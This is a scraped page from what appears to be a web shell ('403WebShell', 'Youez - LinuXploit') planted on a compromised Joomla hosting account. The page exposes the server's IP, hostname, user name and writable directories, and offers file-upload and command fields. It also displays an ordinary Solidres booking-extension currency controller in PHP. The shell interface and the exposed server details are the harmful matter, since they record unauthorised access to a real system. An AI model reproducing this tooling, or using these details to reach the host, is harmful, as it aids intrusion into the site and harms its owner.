Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/ptitsanes/components/com_solidres/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/ptitsanes/components/com_solidres/controllers/currency.json.php
<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

/**
 * @package       Solidres
 * @subpackage    Currency
 * @since         0.1.0
 */
class SolidresControllerCurrency extends JControllerLegacy
{
	public function setId()
	{
		$currencyId = $this->input->get('id', 0, 'int');

		// add check if we already set cookie or not, if yes, retrieve them, otherwise set new cookie to store currency_id
		$currentCurrencyId = $this->input->cookie->get('solidres_currency', 0, 'int');

		if (empty($currentCurrencyId) || $currentCurrencyId != $currencyId)
		{
			$config        = JFactory::getConfig();
			$cookie_domain = $config->get('cookie_domain', '');
			$cookie_path   = $config->get('cookie_path', '/');
			// TODO add an option to allow configuring the cookie expire period here
			$this->input->cookie->set('solidres_currency', $currencyId, time() + 60 * 60 * 24 * 30, $cookie_path, $cookie_domain);
		}

		$this->cleanCache();

		JFactory::getApplication()->setUserState('current_currency_id', $currencyId);

		die(1);
	}

	/**
	 * Clean the cache
	 *
	 * @param   string  $group     The cache group
	 * @param   integer $client_id The ID of the client
	 *
	 * @return  void
	 *
	 * @since   12.2
	 */
	protected function cleanCache($group = null, $client_id = 0)
	{
		$conf = JFactory::getConfig();

		$options = array(
			'defaultgroup' => ($group) ? $group : (isset($this->option) ? $this->option : JFactory::getApplication()->input->get('option')),
			'cachebase'    => ($client_id) ? JPATH_ADMINISTRATOR . '/cache' : $conf->get('cache_path', JPATH_SITE . '/cache'),
		);

		/** @var JCacheControllerCallback $cache */
		$cache = JCache::getInstance('callback', $options);
		$cache->clean();

		// Trigger the onContentCleanCache event.
		JFactory::getApplication()->triggerEvent($this->event_clean_cache, $options);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit